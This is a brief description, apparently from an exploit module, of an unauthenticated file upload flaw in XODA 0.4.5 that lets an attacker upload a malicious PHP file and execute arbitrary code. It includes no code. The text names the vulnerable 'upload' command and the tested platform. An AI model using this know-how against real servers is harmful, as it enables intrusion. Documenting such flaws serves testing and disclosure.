  					This module exploits a file upload vulnerability found in XODA 0.4.5. Attackers
  				can abuse the "upload" command in order to upload a malicious PHP file without any
  				authentication, which results in arbitrary code execution. The module has been
  				tested successfully on XODA 0.4.5 and Ubuntu 10.04.
